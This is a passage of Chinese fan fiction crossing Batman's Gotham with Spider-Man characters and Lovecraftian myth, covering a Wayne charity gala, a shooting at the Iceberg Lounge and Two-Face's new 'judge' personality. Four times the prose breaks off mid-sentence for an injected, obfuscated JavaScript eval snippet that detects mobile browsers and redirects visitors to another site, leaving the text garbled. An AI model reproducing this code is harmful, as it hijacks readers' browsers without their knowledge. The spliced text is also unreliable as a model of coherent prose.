比如本名为汤玛士·“汤米”·埃利奥特的“缄默”，出身自哥谭四大家族之一的埃利奥特家族，和布鲁斯·韦恩自幼相识，后来不知何故反目。他是一名技艺高超的外科医生，尤其擅长整形，他那张脸便是医术水平的生动证明——他把自己的脸整得和布鲁斯·韦恩一模一样。如果不是他那毫不掩饰的愤世嫉俗的气质，完全可以以假乱真。 缄默知道蝙蝠侠的真实身份，但他不会四处乱说，对着奥德莉只是一味大骂布鲁斯那个草包，任谁看了都觉得他对蝙蝠侠的情感不太对劲。 中午，几个年轻的护士邀请奥德莉一起去食堂，问她第一天实习是否适应。奥德莉说：“目前一切都还好，就是病人们对蝙蝠侠是不是有点过于狂热了？” 一个护士说：“不只是对蝙蝠侠，他们对哥谭的情感也特别扭曲，行事风格从来都是‘哥谭事，哥谭了’。有一次超人和蝙蝠侠一起在哥谭抓人，那个反派竟然喊‘超人滚出哥谭’，然后连蝙蝠侠也顾不上打，一门心思去攻击超人。他被送到阿卡姆之后，还天天骂超人，埋怨超人让他错过了和蝙蝠侠交流的机会。” 她们都是哥谭本地人，聊天话题不知不觉又绕到韦恩上。奥德莉对于韦恩家族的了解不多，主要限于布鲁斯·韦恩本人，此刻听当地人对韦恩家第二代的八卦津津乐道，她便在一旁默默吃瓜。 韦恩集团现任总裁是韦恩先生的第三位养子，姓氏是德雷克，出身自德雷克集团，另一家哥谭巨头企业。究竟是韦恩侵吞孤儿财产，还是德雷克雀占鸠巢，哥谭人民各有看法。 韦恩先生自己和他的前三位养子都是黑发蓝眼，但他前几年公开的亲生儿子、真正有血缘的韦恩少爷是韦恩家唯一的绿眼睛。 ——奥德莉对绿眼睛有点警觉，又觉得自己纯属多虑。韦恩集团和刺客联盟，完全不相干嘛。而且蝙蝠侠不会把布鲁斯·韦恩唯一的亲生儿子拐去做罗宾吧？ “有几个病人坚信韦恩的亲生儿子是他和蝙蝠侠生的。蝙蝠侠那种脾气暴躁的家伙，怎么可能容忍自己的爱人和别人生孩子。” “啊？”奥德莉目瞪口呆。男人能生孩子吗？杯道路的也许可以，但是韦恩先生不像是研习无形之术的。也许蝙蝠侠才是“母亲”？或者韦恩集团有什么高科技？ 深耕生物行业的奥斯本集团要输给全面开花的韦恩集团啦！她要赶紧告诉哈利。 过了充实的一天，奥德莉在五点钟准时下班，打算先去吃晚饭，再和布莱克商量今晚去哪里玩。 “下班了吧？我在门口，快出来。”哈利忽然发信息。 “什么门口？”奥德莉诧异地回复。“你是不是发错了。” “你办公室的门口。”哈利说。 奥德莉立刻跑下楼，一辆黑色劳斯莱斯停在建筑前，后排车窗慢慢降落，露出哈利的脸。 “你怎么会突然来哥谭？”奥德莉打开车门坐进去，哈利很自觉地给她腾出空间，然后示意司机开车。 “和韦恩集团有个在洽谈的项目，几个关键条款没谈妥。”哈利说的全是实话，省略掉的部分是他完全不需要亲自过来。“德雷克总裁约我晚上参加慈善晚宴，你愿意做我的女伴吗？” “你都没提前问我，万一我晚上要主动加班呢？”奥德莉故意拿乔。 “你，主动加班？这两个词放在一个句子里是语义矛盾。”哈利一本正经地说。 “太小瞧人了，周末我可是一直在工作。” “是吗？”哈利瞥她一眼。 “我就知道你还在生气！”奥德莉叫道。 “不是生气，是担心你。”哈利摸摸奥德莉的头，和她摸布莱克的手法类似。 “那我的衣服怎么办？”奥德莉穿的是商务休闲风格的套装，不适合去参加晚宴。 “已经约好造型师了。” “谢谢你，仙女教母。”哈利是她在高中的每一场舞会时的舞伴，并且和格温争夺打扮她的权利。格温通常会赢，但这次格温不在，哈利不战而胜。 晚宴在冰山餐厅举行，主办方是韦恩慈善基金会。想到布莱克一定会喜欢这种热闹场合，奥德莉把它也带上了。果然，哥谭名流悉数出场，标配的豪车、红毯和狗仔队的闪光灯令布莱克目不暇接，粉红色的小舌头露出一点都忘了收回去，绿眼睛瞪得圆溜溜的，瞳孔兴奋地缩成一条竖线。 大部分人奥德莉都不认识，好在狗仔喊名字和提问的声音够大。听起来，这场宴会的重要宾客之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293992|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一是凯恩家族的女继承人凯特·凯恩，她离开数年，这是回哥谭之后的第一次公开亮相。凯恩是哥谭的古老姓氏之一，和其它家族都沾亲带故，布鲁斯·韦恩的母亲便是一位凯恩。 布鲁斯·韦恩带着养子提姆和亲子达米安参加，一出场便吸引了众人的视线。 “修罗场！” 奥德莉和布莱克立马想起听到的豪门恩怨。布莱克努力伸长它的短粗脖子，试图从韦恩家三人的脸上看出蛛丝马迹。 “你可以靠近去看，” 奥德莉被它逗笑了，“反正他们看不见你。” “不要，人好多哦，”布莱克在奥德莉肩上缩成一个球，又喜欢热闹又社恐。 “他……”奥德莉看清楚韦恩先生身边的两个青年，认出那双绿眼睛，“他不是罗宾吗？” 布莱克的眼睛也瞪圆了：“没错，就是他。原来他的全名是达米安·韦恩。” “他是洋葱吗，一层一层的身份。”奥德莉想起《权力的游戏》里的龙妈因头衔太多衍生的笑话，恶趣味地讲给布莱克听：“达米安半夜敲门借宿一老人家，老人问门外是谁，达米安回答说‘韦恩唯一血脉之子、蝙蝠侠的助手罗宾、刺客联盟新生代成员’，老人说‘人太多，住不下’。” “你才列举了三个，”布莱克不明所以地说，“我看过这个笑话，龙妈有十个头衔。” 奥德莉语塞：“我就只知道三个。” “好好笑哦。”布莱克赶紧捧场，棒读道。 奥德莉觉得自己的笑话是有点冷，于是又把话题转回韦恩家的继承之战上。 哥谭水好深，一人一猫都这么想。为什么首富的儿子会是罗宾，又来自于刺客联盟？他不是忙着争夺家产吗？是打算武力争夺吗？德雷克总裁看着不像很能打的样子。 或者首富的儿子被刺客联盟调包了？但韦恩先生再天真，认回一个儿子的时候，DNA测试总是要做的吧？ “隔着西装又判断不出什么，也许德雷克总裁也是个满身肌肉的壮汉呢。你看罗宾现在这副打扮，甚至显得有点瘦弱。”奥德莉出神道：“之前没觉得，但仔细看看，他和韦恩先生的五官还挺像的，只是气质完全不同。” 韦恩先生一副习惯于全世界都爱他的快乐甜心模样，出生在锦绣富贵中的他仿佛不懂得什么叫烦恼，虽然全世界都知道他年少时候的悲剧，但似乎只有他本人对此并不在意。达米安则带着锋芒毕露的少年意气，他始终披着礼貌的外衣，但并非刻意彰显的高傲总会在不经意间露出一角，泄露出他心底不可动摇的信念：自己生来就是最优秀的。 “毕竟是中途才被领回家的嘛。” 布莱克装出一副很懂得人情世故的样子。 狗仔的话筒恨不得戳到韦恩家两个儿子的脸上，大家都满心期待他俩当众大打出手，两人也不负众望，提姆一脸大权在握的志得意满，达米安则语带不屑地强调自己才是韦恩家的唯一亲生儿子。布鲁斯像个傻瓜一样完全感受不到两个儿子之间的剑拔弩张，对着女记者甜言蜜语。 20. 第 20 章 奥德莉跟随在哈利旁边做个优雅微笑的挂件，同时和布莱克靠着狗仔的对话和脑补大肆八卦，直到哈利站在韦恩家三人面前才赶紧收敛心神。 “这是奥德莉·维特。”哈利介绍。 “你们是第一次来哥谭吗？”韦恩先生热情地问。 “我来过几次。”哈利说。 “我正在哥谭实习。”奥德莉说。 “这是我的儿子达米安。”韦恩先生轻推达米安。今天他们都没有女伴同行，德雷克要和哈利谈业务，他便安排达米安去应酬奥德莉。 寒暄几句后，晚宴正式开始。奥德莉和哈利坐在一起，两侧分别坐着达米安和德雷克。这种安排没人有异议，除了布莱克面对可能是自己苦主的达米安有点炸毛，坚持要去水晶吊灯上独自坐着俯瞰全场。 ——那景象实在太美，奥德莉完全不敢朝那个方向看，生怕自己忍不住笑出声。幸好布莱克轻如鸿毛，如果他胖乎乎的身体有符合物理原理的重量，大家就可以欣赏吊灯之死了。 达米安为奥德莉介绍晚宴信息：“今晚的拍卖会是为哥谭孤儿院募集资金，一部分将用于他们的学费和奖学金，一部分用于宿舍翻新。” 奥德莉由衷赞叹：“韦恩先生多年来一直为慈善事业做贡献，哥谭有他真是幸运。” 达米安又和她一起看拍卖品清单，见她对那些名字一无所知，便为她讲解捐赠者的身份。奥德莉本以为两人不会再有交集，但既然又见面了，就把他当做陌生人重新结识一次，和他相谈甚欢。 达米安暗暗松口气：那晚她果然是惊魂未定才不怎么说话，并不是罗宾不受群众欢迎了。当一个人的职位有过三位优秀前任时，哪怕这个人再自信，也会忍不住暗中比较一番。 慈善拍卖价格通常远高于实际价值，但在场的人都不在乎，竞拍得很热闹。哈利拍下一套初版的《福尔摩斯探案集》，扉页上有柯南道尔的签名。他问奥德莉：“直接送到你家？” “好啊，谢谢。”奥德莉很自然地说。“不过我爸妈最近都出差，帮我送到彼得家吧。” “你是喜欢侦探小说，还是喜欢古典通俗小说？”达米安问。 “都喜欢。我也很喜欢简·奥斯丁。” “那你也许会对冰山餐厅的冰雕有兴趣，”达米安说。“它们非常精致，非常有特色。通常被摆在入口处，但今晚有宴会，可能是被暂时移到二楼的赌场了。” 感觉还是在说它们丑，只是很委婉。奥德莉心想。 “你想去看吗？”达米安问。 “好啊。”奥德莉已经好奇很久了，和忙于社交的哈利说了一声，便和达米安乘坐电梯上了二楼。她喊布莱克一起，但布莱克坚决不去，死守一楼制高点。 “哥谭真是处处与众不同。”看到了冰雕，奥德莉觉得这已经不是美丑的问题了。只能说和餐厅的氛围毫不相干。 谁家餐厅会用冰雕复现经典小说的名场面啊？这些冰雕做得比杜莎夫人蜡像馆的人像更加栩栩如生，一定造价不菲。 冰雕在一楼入口处时，来吃饭的人还可能看几眼，以此作为聊天的话题。但现在二楼都是全心投入在赌桌上的赌徒，完全没人有心思欣赏这种艺术品。 “听说老板喜欢文学。”达米安解释。如今冰山餐厅已经是红头罩的地盘了，红头罩的真实身份是韦恩的第二个养子杰森·陶德，经历了成为罗宾、死亡、复生、与父亲的争执不休等一系列事情后，他与同伴以法外者小队的名义活跃在哥谭。 达米安认为这些冰雕很丑，不过品位低下不是陶德的错，拉撒路池在复活的同时会对人的精神产生扭曲。 忽然，楼下传来一声巨响，连带着二楼也跟着震动，然后是一阵枪声。赌场内骚动起来，达米安抓住奥德莉的胳膊将她拉到角落里。 “哈利在楼下，”奥德莉赶紧呼唤布莱克，“他还好吗？” “他没事。炸弹一响，韦恩先生和德雷克总裁就把他一起拽到桌子下面了。”布莱克的位置原本是很完美的观察地点，但匪徒一枪打碎了吊灯，气得布莱克喵喵叫。 知道奥德莉关心哈利的安危，布莱克灵巧地跳到地面上，跟着几位富豪钻入了桌底，为她进行实况转播。 布莱克的描述令奥德莉大为震惊。韦恩先生，您为什么这么熟练啊？ “哈利是不是吓坏了？” 布莱克汇报：“他想出去找你，但是被按住了。韦恩先生让他不要担心，说达米安肯定会尽力保护你，还说蝙蝠侠和罗宾很快会来救他们的。” 蝙蝠侠会不会来我不知道，罗宾嘛……奥德莉看看身边假装普通人的达米安，小声说：“我躲在这里应该是安全的，你要不要下楼去看看你父亲和哥哥？”奥德莉拼命暗示他快点离开去换装救人，不要再在这里演戏了。 “不用怕，蝙蝠侠和罗宾会来救我们的。”达米安安慰她。 奥德莉无语，奥德莉生气，奥德莉无能狂怒。 事情的结果出乎意料，蝙蝠侠和罗宾都没来，因为根本不需要他们出场。冰山餐厅的武装势力很快就把匪徒解决了。 “怎么会有不长眼的来这里闹事，”下楼前，奥德莉听见一个赌场的客人嘀咕，“不知道老板的厉害么。” 老板确实厉害，不只有厉害的打手，还有一流的维修人员。一楼很快被恢复原状，连吊灯也被火速换了一个新的，布莱克美滋滋地坐回宝座。哥谭警方赶来带走了匪徒，只带了几个服务生去做笔录，宾客则无需前往，宴会继续进行。 神奇的是，刚才还钻到桌子底下发抖的宾客们竟然也迅速整理好了心情，仿佛无事发生。如果不是从娃娃抓起的培养，很难解释他们这种刻进骨子里的气定神闲。也许相较其他城市的幼儿园进行的消防演习，哥谭的幼儿园演习的是“如何从黑/帮火并中优雅存活”。 哈利没有哥谭人的淡定，他脸色苍白，在见到奥德莉之后紧紧将她抱进怀中。奥德莉着急地把他推开，从头到脚检查一遍，生怕布莱克观察得不仔细。 “你没事吧……”/“你有没有受伤……”两人同时开口。 一旁的达米安莫名冒出一个念头，如果对奥德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293993|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莉这么做的人是他，奥德莉同样会推开他，但原因是觉得自己被小觑而不满。 “真高兴看到你们俩都没事。”韦恩先生非常淡定地说，“和其它城市一样，哥谭偶尔会有坏人闹事。今天这不算什么，没人受伤，楼也没有塌。” 周围的人太过平静，反而显得哈利和奥德莉在小题大做。两个纽约人只好入乡随俗，免得被人认为是没见过世面。 晚宴没再起波澜，顺利结束了。哈利送奥德莉回宿舍，告诉她自己明天去纽约，后天回伦敦。“来看过你了，再去看看彼得和格温。”他这样说。 奥德莉严正谴责哈利坐私人飞机比她打车还随意的行为，哈利只是问她：“你今晚玩得开心吗？我看韦恩家那个小儿子和你相处得不错。” “虽然你和他的养兄是生意伙伴，也不要这么老气横秋地讲话啊。下一步你是不是觉得天凉了要让韦恩集团破产？”奥德莉发现哈利扮演老父亲角色有点上瘾，赶紧扼杀这个苗头。 哈利笑起来：“那我可不敢，据可靠线人消息，韦恩集团的生物科技已经远超地球现有水平了。” “可靠线人”奥德莉立刻鼓励他：“不要这么轻易认输啊！你看卢瑟集团，对着超人那个级别的战力，从来都是越挫越勇。当然了，你不要学他秃头。”奥德莉想到英国威廉王子的头顶，不由得担忧地朝哈利头上望去。据说英国水质有问题，谁去谁秃。 哈利注意到奥德莉的视线，气得瞪她：“快下车。我要去休息了。” 在奥德莉下车后，哈利又放下车窗：“注意安全。照顾好自己。” “知道啦。你也是。” 劳斯莱斯消失在视线中，奥德莉脸上的笑容立刻消失了，取而代之的是忧虑和担心。 哈利的表现很不对劲。发生了什么事情吗？ 蝙蝠洞里，提姆也换上战衣，准备和蝙蝠侠与罗宾一起夜巡。虽然已经作为红罗宾单飞并创立了少年泰坦，但在布鲁斯和老管家潘尼沃斯的要求下，他还是住在韦恩庄园，并经常参加蝙蝠家的行动。 他和达米安的关系与外界所言完全不同。最初两人的确不和，提姆尽量单方面地忍耐和退让，但争端总是不可避免。逐渐地，他们成了真正的兄弟。虽然他偶尔还是会叫达米安“恶魔崽子”，但已经不是出于愤怒，而是亲昵的抱怨。达米安也认可了他作为韦恩家族成员和自己兄弟的身份。两人之间逐渐融洽的相处令他们的大哥迪克·格雷森感动不已，对着两兄弟直抒胸臆，下场是被两人喊了一个月“多愁善感的夜翼”。 “你想起什么了吗？”提姆问达米安。 “没有。”达米安说。 “还得再创造别的机会。”布鲁斯指示。 两任罗宾都望向布鲁斯，等待他的高见。布鲁斯已经穿上战衣，还没戴头盔，蝙蝠侠的坚毅冷硬和哥谭玫瑰的矜贵气质奇妙地融合了。 “不要看我，”布鲁斯说，“我只是提供方针，具体方案去问夜翼。” 蝙蝠家被公认为最擅长交际的夜翼：我怀疑你们在蛐蛐我，而且我有证据。 21. 第 21 章 上班的痛苦之处在于，不管昨晚几点入睡，第二天的上班时间是恒定不变的。 好在这一天风平浪静，没有病人搞事情，没有病人要逃跑。奥德莉顺利底完成本日工作计划，下班后回宿舍去读马修律师发给她的论文。 维斯勒医生负责的病人基本都是疯得很明显的，他们有自成体系的一套自洽逻辑，但其他人听了只会觉得荒谬。 双面人是一个例外。在哈佛法学院读书时，他担任过《哈佛法律评论》的编辑，由此可见他的理论功底。他还很健谈，如果他去竞选哥谭市长，奥德莉觉得自己会给他投票。 “MGGA (Make Gotham Great Again) - 让哥谭再次伟大！” 面对奥德莉这种不懂法但是耐心听他讲话的听众，双面人从哥谭为什么没有死刑讲起，讲到精神病之抗辩的成立要件，又讲到联邦法院与州法院的管辖权之争。不知不觉间，奥德莉完全被他说服了。 关在阿卡姆的病人都犯下过证据确凿的严重罪行，他们本人也供认不讳甚至是洋洋自得。唯一挡在他们和黑门监狱之间的是精神问题。 这些病人绝对不是正常人，这一点毋庸置疑。但是从法律上来讲，他们的精神病之抗辩是否能成立呢？ 双面人对哥谭的执法能力是认可的，戈登局长和蝙蝠侠一明一暗合作无间，再狡猾的罪犯也终会落网。但立法层面，他主张修改州刑法并加入死刑，司法层面，他认为应该把阿卡姆的犯人送到异地的联邦法院审判，因为联邦刑法是有死刑的，同时哥谭的黑恶势力很难威胁到其它城市的法官。 哥谭曾经的铁三角——蝙蝠侠、戈登局长和哈维律师——都愿意为了实现改变哥谭的理想而对现实做一些妥协。他们曾在哥谭警局的天台上达成口头协议，“弯曲规则、绝不破坏规则”。 蝙蝠侠坚持不杀原则，是因为他认为义警没有权利不经审判而处决罪犯。他绝不会彻底放弃程序正义，因为那是对规则的破坏。 双面人违背了协议。哈维曾经努力想在司法系统中取得胜利，而系统已经从头烂到了尾，他提出的任何改变都无法推行。在丧失对司法系统的信心之后，双面人选择直接杀掉他认定的罪犯。 光明骑士陨落之后，哥谭尚未出现另一位有勇有谋、一往无前的检察官。蝙蝠侠也有无法做到的事情。 对于蝙蝠侠的观点，奥德莉从理论上尊重理解并且赞同，但从现实角度来看，她觉得少了这种自我束缚的纽约超级英雄们也做得不赖。就连道德标杆美国队长，在二战期间杀掉的纳粹人数也是他的战绩而非污点。 “所以您说了这么多，有什么真正能做的吗？”奥德莉听完哈维的授课，觉得头好痒，好像要长出脑子了。 “没有。”哈维说。“如果你感兴趣的话，可以读一读我写的论文，说不定能启发你的思路呢。” 奥德莉不觉得自己能有什么更好的办法。哈维的想法已经很完善了，他大概在心里推演过无数次。但实施不了的计划就只是废纸一张。 诶，我又不是哥谭人，这是我应该思考的问题吗？奥德莉这样想，但被哈维激发的满腔热血却难以平息，便邮件联系马修律师，问他是否能帮忙找到哈维之前的论文。 马修律师不但发来数篇文章，还打电话问她：“你是否在考虑申请法学院？有什么问题可以随时问我。” “谢谢您，我还没考虑那么远。”奥德莉汗颜。“我只是在哥谭实习，听说了这位检察官的事情。” “哈维·丹特，我听过他在纽约刑法协会的讲座，讲得很好。很可惜他英年早逝了。”马修律师说。“我和他上过同一个刑事诉讼法教授的课。” “您不是哥大法学院的吗？”奥德莉不解。 “是的，本·斯通教授先在哈佛任教几年，后来因为家庭原因需要回纽约，便来了哥大。”马修律师解释。“八十年代他在纽约市做检察官，为人公正，很受尊重。后来他因为政治理念愤而离职去教书了。他很欣赏哈维检察官，认为这位与他理念一致的学生能比他走得更远。” “哈维检察官的去世对他打击一定很大。” “是的，那之后不久他就提前退休了。听说他去了加拿大。” 哈维的文章言语凝练，并不故意佶屈聱牙，奥德莉读得比想象中轻松。从这些文章中，奥德莉能感受到哈维的思想从雏形成长为果实的过程。他并不是一位空想家，提出的方案都很务实。不能实施是因为哥谭积重难返。 “萨尔瓦多·马洛尼应该被立即处死！”奥德莉振臂高呼，恨不得立刻去黑门监狱把他打死。此人是马洛尼犯罪家族的领袖，多次进出监狱却总能在律师的帮助下脱罪。正是他在法庭上公然向哈维泼硫酸导致双面人的诞生。他最近又进了监狱，但估计很快又能回到他忠实的哥谭。 “冷静，不要冲动啊！”布莱克正躺在床上看电视剧，粗胖的尾巴时不时懒散地摇一下，此时见奥德莉这么激动，一跃而起冲向她，连被掀翻在地的Ipad也顾不上。“你要是敢这么做，下一个被蝙蝠侠送进黑门监狱的就是你。” “我悄悄地下手，蝙蝠侠不会知道的。”奥德莉很神气地说。 “你确定自己能做到？”布莱克用爪子敲她的手，努力让她冷静。 “我……”奥德莉再嚣张，也不敢说自己真的能瞒过蝙蝠侠，颓丧地放下手。“好了好了，不要再敲了，我已经冷静了。” 布莱克怀疑地又盯了她一会儿才放心，说：“这个哈维很有煽动性啊。” “确实。”奥德莉想了想，“我刚才觉得热血上头，无法自已。” “像是被洗脑了一样。”布莱克总结。 第二天早上和维斯勒医生开会时，奥德莉把自己和哈维的对话以及自己的后续反应告诉她。维斯勒医生同样惊讶：“他和你说话的时候，对着你的脸是哪一面？” “完好的一面。” “他手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293994|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的硬币呢？”维斯勒医生进一步确认。 “正面朝上。”奥德莉肯定地说。 双面人随身带有一枚正面完好、反面有深刻划痕的硬币，以抛掷硬币的方式来决定自己的行为善恶。如果正面朝上，正义哈维出现，与光明骑士别无二致；如果反面朝上，邪恶哈维登场，行事残酷无情。在对绝对正义求而不得之后，他屈服于宿命论，将选择交给无形的法则。 与其他人格分裂者不同，哈维的两个人格的转变需要特定的仪式，即抛掷硬币。他并非需要仪式召唤另一个人格，而是以此满足逃避心理。他无法面对自己犯下的罪行，便将邪恶哈维的每一次出现归咎为硬币。 奥德莉看过病历，知道如果邪恶哈维登场，她要做的是立刻上报，根本不会去听他高谈阔论。 “正义哈维为什么会忽然这么做？”维斯勒医生一时想不出答案，但很重视这种异常。“我下午和他安排一次额外谈话。” “我可以旁听吗？”奥德莉问。 “可以，作为我的助手做记录，但不要插话。”维斯勒医生叮嘱。“如果我让你离开…” “我就自己先跑。”奥德莉保证道。维斯勒医生在阿卡姆这么多年都安然无恙，她不能做拖后腿的那个。 对于额外的会面安排，双面人没有异议，神态如常地坐在维斯勒医生对面。奥德莉坐在靠窗的桌子后面。 维斯勒医生先和双面人寒暄了几句，问他最近几日感觉如何。然后她拿出一个紫水晶吊坠，其中有线条扭动，像是蠕虫，但定睛看去又像是水晶裂纹在光线下的折射。 维斯勒医生轻轻晃动了几下吊坠，双面人望着它，眼中闪过一丝困惑，然后又看向维斯勒医生，温和地微笑：“原来这就是你对付他们的方法。” 维斯勒医生有一瞬间的僵硬，但马上恢复冷静，说：“你不是双面人，你是谁？” “我是第三个哈维。你可以称呼我为哈维法官或者法官大人。” 双面人竟然诞生了第三个人格。那他以后是否应该改名为三面人？奥德莉不合时宜地冒出这个念头。 “你和另外两个哈维见过吗？”维斯勒医生问。 “正义之眼永不闭合。我时刻观察着他们。” “所以他们不知道你的存在？” 法官哈维轻轻一笑：“他们知道我的存在，但并不知道我是哈维。” 也就是说，双面人知道身体里出现了另一个人格，但以为他是其他人？奥德莉无法理解其中的逻辑，好在法官哈维马上做出了解答。 “他们以为我是神。” 啊？这更荒谬了。奥德莉屏息凝神，等待法官哈维继续说下去。 法官哈维延续了反派话多的优良传统，自发地滔滔不绝：“我当然不是神，我只是神在人间的代行者。神明授予我审判的权柄，并指引我前行。” “哪一位神明？”维斯勒医生问。 “审判与衡平之神，乌尔塔尔。” 22. 第 22 章 听到哈维说出的名字，维斯勒医生和奥德莉都轻轻倒吸一口气。 每一位调查员都尽力留下详细的笔记供后人参考，密大为了收集和保存这些笔记付出了大量心血。在浩如烟海的记录中，关于外神和旧日支配者的笔记被专门整理出来编纂成教材，是密大学生的必修课之一。 旧日支配者的形态在人类看来是异类而恐怖的怪物，外神的形态则更加模糊不清。外神是几乎接近真神的强大存在，其中一部分甚至可以被视为宇宙规律的人格化。 只有少数外神对人类感兴趣，大多数外神甚至都没有意识到人类的存在。但当外神意识到人类的存在并产生兴趣时，祂会试图穿过宇宙壁垒或空间维度降临，其结果往往是引起大片的毁灭。 相比其它外神，关于乌尔塔尔的记录不多。有的调查员认为祂是混沌概率的意识化身，有些则认为祂代表了公正与合理。 埃及神话中，死神阿努比斯掌管冥界，他用天平对亡者的心脏进行称量，如果心脏比象征真理的鸵鸟羽毛轻，亡者便可以进入天堂；如果心脏比羽毛重，亡者将被怪物吞噬。根据调查员对金字塔的探索和对壁画的翻译，他们发现阿努比斯是一个被授予权柄的凡人，他的力量来源很可能是乌尔塔尔。 除了被选中的人间代行者，普通人向乌尔塔尔祈祷也会偶尔获得回应。哈维读到的故事正是一个例子。 法官哈维对自己的道德要求很高，自认为无事不可对人言，因此对自己的信息来源毫不隐瞒：“我偶然读到一本书，作者自称是一位调查员。他在乌撒镇听说了乌尔塔尔响应祈祷的事迹。” 这个故事我们在教材里好像也读过，维斯勒医生和奥德莉不约而同地想。哈维接下来的讲述验证了她们的想法： “乌撒镇上有一对老夫妇经常杀猫，镇民未必不知道，却装聋作哑。某日，一支流浪商队途经镇上，商队中有一名孤儿名为美尼斯，他有一只相依为命的黑猫，黑猫却在镇上失踪。镇民推测黑猫可能是被老夫妇杀害了，并将此事告知美尼斯。美尼斯以镇民无法理解的语言向太阳祈祷，天空的云朵呈现出奇怪的景象，像是兽首人身、角顶圆盘的怪物。一周后，镇民发现老夫妇被剔得干干净净的人类骨架，以及在周围爬动的形状古怪的甲虫。” “你是在哪里看到这本书的？”维斯勒医生问。 “在医院的图书馆里。” “你还记得借阅日期吗？”维斯勒医生怀疑这本书可能不是偶然出现在哈维面前的。它太针对哈维的心理需求了。 “大约三个月前。书很薄，我很快就翻完了，所以没有把书借出来。”哈维说。 听起来更可疑了，就像是有人专门为哈维准备了精准符合他需求的简本一样。奥德莉心想。他们的教材可是大部头。 维斯勒医生又问了一些问题，最后对哈维说：“今天就谈到这里吧。谢谢你的配合。” 哈维点点头，起身离开了。 哈维离开后，奥德莉问维斯勒医生：“您相信他说的吗？” “外神是人类无法理解的、无可名状的存在。他们的正义标准，如果有的话，不是人类能理解的。另外，人类自己的善恶标准也在不断变化，每个年代的道德观不完全一样。”维斯勒医生说。“也许哈维真的与乌尔塔尔建立了某种联系，但我认为更可能是哈维幻想出自己与祂的联系，以此来支撑第三人格的诞生。这也符合他之前的行为模式。” 和其他人一样，哈维的本我是善和恶的混合体。在受到巨大打击之后，他的善恶人格分离，邪恶人格以凶残的手段达成他心中的正义，善良人格对此反对却无计可施。 然而，对于程序正义的追求早已深植哈维的内心，他虽然有怀疑和动摇，但始终无法彻底将其抛弃。最终，哈维的内心执念催生了一位法官人格，以此应对他心中对司法不作为的愤怒。由于他潜意识里认定法官的权力需要合法的授权，为了将自己的行为合理化，他需要一个能授予他审判权力的至高存在。 “关于乌尔塔尔的记载中有一点是相同的——向祂祈祷时必须敬拜太阳。以哥谭阴雨天气的频率，哈维能和这位外神联系上真是不容易。”奥德莉开玩笑地说。 “就算能完成仪式，外神又不是许愿池里的王八，谁用硬币砸祂都给予回应。”维斯勒医生显然不认为哈维是真的得到了乌尔塔尔的回应。 无论哈维是哪种情况，他都是受到了别人的引导。奥德莉很好奇幕后黑手是谁：“这本书像是被特意放在那里给哈维看的，这人会是谁呢？” “阿卡姆的病人个个都唯恐天下不乱，嫌疑犯太多，我们大概是查不出来了。”维斯勒医生觉得此事值得调查，但这不是她的工作范围，她只负责把哈维吐露的信息记下来。“但也不必担心，你知道的，有个人一定会感兴趣并且查到底。” 果然还是那个给多少钱办多少事的维斯勒医生。奥德莉知道维斯勒医生指的是蝙蝠侠，也相信蝙蝠侠一定会彻查，便不再纠结此事。 维斯勒医生又叹气：“无论如何，第三个人格的出现都证明了我的失败。就算治不好任何病人，我以为至少能维持他们的情况稳定。” “也许这不是坏事，”奥德莉说，“法官哈维比另外两个人格更强大。如果我们建议他把邪恶哈维判处死刑，那不是又只剩下两个人格了吗？” 对于这种荒谬的、显然违反医生职业道德的建议，维斯勒医生竟然认真思考起来。她最终还是拒绝了，因为法官哈维的危害程度可能更高于邪恶哈维，留着邪恶哈维可以牵制法官哈维，否则事态发展多半是—— 好消息：邪恶的第二人格被干掉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293995|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 坏消息：更难对付的第三人格没有对手了。 “当务之急是劝说法官哈维，让他停止与外神的联系。万一他真的引来乌尔塔尔的注视，哥谭可能会被毁灭。”维斯勒医生沉思良久，得出这样的结论。 